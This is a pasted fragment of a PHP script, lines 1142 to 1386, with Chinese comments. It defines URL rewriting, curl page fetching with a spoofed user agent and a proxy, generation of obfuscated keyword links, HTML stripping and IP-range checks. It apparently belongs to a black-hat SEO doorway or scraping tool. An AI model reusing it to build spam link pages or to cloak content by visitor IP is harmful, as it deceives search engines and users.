  1142. unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
  1143. }
  1144.  
  1145.  
  1146.  
  1147. function fillUrl($str = '', $url){
  1148. $relur = '#(?:href|src) ?= ?"([^"]+)"#s';
  1149. $urlInfo = parse_url($url);
  1150.  
  1151. preg_match_all($relur, $str, $matches);
  1152. if(count($matches[1])){
  1153. foreach($matches[1] as $values){
  1154. if(!strstr($values, "//") && !strstr($values, "..")){
  1155. $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr);
  1156. $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }elseif(strstr($values, "..")){
  1157.  
  1158. // echo $urlInfo['host']; // echo str_replace(basename($url),"",$url); // die();
  1159. $rStr = str_replace(basename($url),"",$url)."/".$values;
  1160.  
  1161. $rStr = str_replace("http://","<llqhttp>",$rStr);
  1162. $rStr = str_replace("https://","<llqhttps>",$rStr);
  1163. $rStr = str_replace("//","/",$rStr);
  1164. $rStr = str_replace("<llqhttps>","https://",$rStr);
  1165. $rStr = str_replace("<llqhttp>","http://",$rStr);
  1166. $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }
  1167. }
  1168. }
  1169.  
  1170.  
  1171. $relur = '#(?:href|src) ?= ?\'([^\']+)\'#s';
  1172. $urlInfo = parse_url($url);
  1173.  
  1174. preg_match_all($relur, $str, $matches);
  1175. // print_r($matches[1]);
  1176. if(count($matches[1])){
  1177. foreach($matches[1] as $values){
  1178. if(!strstr($values, "//") && !strstr($values, "..")){
  1179. $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }elseif(strstr($values, "..")){
  1180.  
  1181. $rStr = str_replace(basename($url),"",$url)."/".$values;
  1182.  
  1183. $rStr = str_replace("http://","<llqhttp>",$rStr);
  1184. $rStr = str_replace("https://","<llqhttps>",$rStr);
  1185. $rStr = str_replace("//","/",$rStr);
  1186. $rStr = str_replace("<llqhttps>","https://",$rStr);
  1187. $rStr = str_replace("<llqhttp>","http://",$rStr);
  1188. $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }
  1189. }
  1190. }
  1191. return $str;}
  1192. function auto_read($str, $charset='UTF-8') {
  1193. $list = array('EUC-JP', 'Shift_JIS', 'UTF-8', 'iso-2022-jp');
  1194. $encode = mb_detect_encoding($str, $list); // echo $encode;die();
  1195. if($encode == 'UTF-8'){
  1196. return $str; }else{
  1197. return mb_convert_encoding($str, $charset, $encode); }
  1198.  
  1199. }
  1200. function detect_encoding($file){
  1201. $list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1'); $str = file_get_contents($file); foreach ($list as $item) {
  1202. $tmp = mb_convert_encoding($str, $item, $item); if (md5($tmp) == md5($str)) {
  1203.  
  1204. return $item; }
  1205. }
  1206. return null;}
  1207. function curl_get_from_webpage($url,$proxy='',$loop=10){
  1208. $data = false; $i = 0; while(!$data) {
  1209. $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
  1210. return $data;}
  1211.  
  1212.  
  1213. function curl_get_from_webpage_one_time($url,$proxy=''){
  1214. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  1215.  
  1216. $curl = curl_init(); //如果有用代理,则使用代理.
  1217. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
  1218. // $urlReferer = "http://www.google.com";
  1219. if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
  1220. curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_REFERER, $urlReferer);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);$data=curl_exec($curl);curl_close($curl);
  1221. }else{
  1222.  
  1223. $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  1224. if($is_auf){
  1225.  
  1226. $data = file_get_contents($url);
  1227. }
  1228.  
  1229. }
  1230. if(!$data) return false;
  1231. return $data;
  1232.  
  1233. }
  1234. function getalink($sid,$pid){
  1235.  
  1236. global $arrnametime,$arrKeywz,$arr_word,$strRand;
  1237.  
  1238. $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1239. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  1240. if(JDT == 2){
  1241. $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
  1242. $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
  1243. $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
  1244. $filePres = $siteLink."/"; }
  1245.  
  1246. $ms = $arrnametime[$pid % count($arrnametime)];
  1247.  
  1248. $keyNum = $arrKeywz[$pid % count($arrKeywz)];
  1249. $keyWordKey = $pid % 10; $keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq"); $keyArr = array(); $flag = 0;
  1250. if($ms == 2 or $ms ==4){
  1251. if($keyNum >= 9){
  1252. $fg = 4; }elseif($keyNum >= 7){
  1253. $fg = 3; }else{
  1254. $fg = 2; }
  1255. }
  1256.  
  1257. for($i=0;$i<$keyNum;$i++){
  1258. $tempNum = $arr_word[$i][$keyWordKey]; $tempstr = ''; for($j=0;$j<$tempNum;$j++)
  1259. $tempstr .= $strRand[$flag++]{$keyStrKey};
  1260. $keyArr[$i] = $tempstr; }
  1261.  
  1262. $SidWz = $sid % $keyNum; $PidWz = $pid % $keyNum; $linkCenter = '';
  1263.  
  1264. if(JDT == 3){
  1265. for($i=0;$i<$keyNum;$i++){
  1266.  
  1267. if($SidWz == $i)
  1268. $linkCenter .= BZSITE . $sid .'-';
  1269. if($PidWz == $i)
  1270. $linkCenter .= BZPRO . $pid .'-';
  1271.  
  1272. $linkCenter .= $keyArr[$i] .'-'; }
  1273. $linkCenter .= $linkCenter . "#llq"; $linkCenter = str_replace('-#llq','',$linkCenter); return $filePres.$linkCenter; }
  1274.  
  1275.  
  1276.  
  1277.  
  1278. if($ms == 1){
  1279. for($i=0;$i<$keyNum;$i++){
  1280.  
  1281. if($SidWz == $i)
  1282. $linkCenter .= BZSITE . $sid .'-';
  1283. if($PidWz == $i)
  1284. $linkCenter .= BZPRO . $pid .'-';
  1285.  
  1286. $linkCenter .= $keyArr[$i] .'-';
  1287. }
  1288.  
  1289. $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
  1290. }elseif($ms == 2){
  1291. for($i=0;$i<$keyNum;$i++){
  1292.  
  1293. if($SidWz == $i)
  1294. $linkCenter .= BZSITE . $sid .'-';
  1295. if($PidWz == $i)
  1296. $linkCenter .= BZPRO . $pid .'-';
  1297.  
  1298. $linkCenter .= $keyArr[$i] .'-'; if($i == $fg-1){
  1299. $linkCenter .= '/'; }
  1300. }
  1301.  
  1302. $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
  1303. }elseif($ms == 3){
  1304. for($i=0;$i<$keyNum;$i++){
  1305.  
  1306. if($SidWz == $i)
  1307. $linkCenter .= BZSITE . $sid .'-';
  1308. if($PidWz == $i)
  1309. $linkCenter .= BZPRO . $pid .'-';
  1310.  
  1311. $linkCenter .= $keyArr[$i] .'-';
  1312. }
  1313.  
  1314. $linkCenter .= JTHZ; $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
  1315.  
  1316. }elseif($ms == 4){
  1317. for($i=0;$i<$keyNum;$i++){
  1318.  
  1319. if($SidWz == $i)
  1320. $linkCenter .= BZSITE . $sid .'-';
  1321. if($PidWz == $i)
  1322. $linkCenter .= BZPRO . $pid .'-';
  1323.  
  1324. $linkCenter .= $keyArr[$i] .'-'; if($i == $fg-1){
  1325. $linkCenter .= '/'; }
  1326. }
  1327.  
  1328. $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); }
  1329.  
  1330. return $filePres.$linkCenter;
  1331. }
  1332.  
  1333. function rmhtmltag($tagname='',$str=''){
  1334. $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';
  1335. $str = preg_replace($rulers,'',$str);
  1336. $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';
  1337. $str = preg_replace($rulers,'',$str);
  1338. return $str;
  1339.  
  1340. }
  1341.  
  1342.  
  1343. function rmhtmltag2($tagname='',$str=''){
  1344. $rulers = '#<'.$tagname.'[^>]*>#s';
  1345. $str = preg_replace($rulers,'',$str);
  1346. $rulers = '#</'.$tagname.'>#s';
  1347. $str = preg_replace($rulers,'',$str);
  1348.  
  1349. $rulers = '#<'.$tagname.'[^>]*>#i';
  1350. $str = preg_replace($rulers,'',$str);
  1351. $rulers = '#</'.$tagname.'>#i';
  1352. $str = preg_replace($rulers,'',$str);
  1353. return $str;
  1354.  
  1355. }
  1356. function is_ip($localIp,$ipRanges)
  1357. {
  1358. $localIp = ip2long($localIp);
  1359. foreach($ipRanges as $val)
  1360. {
  1361. $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
  1362. if($localIp >= $ipmin && $localIp <= $ipmax)
  1363. {
  1364. return true;
  1365. }
  1366. }
  1367. return false;}
  1368.  
  1369.  
  1370. function get_real_ip(){
  1371.  
  1372. $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){
  1373. $ip = $_SERVER["HTTP_CLIENT_IP"]; }
  1374.  
  1375. if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  1376. $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
  1377.  
  1378. for ($i = 0; $i < count($ips); $i++) {
  1379. if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
  1380. $ip = $ips[$i]; break; }
  1381. }
  1382. }
  1383.  
  1384. return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);}
  1385.  
  1386. //file end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement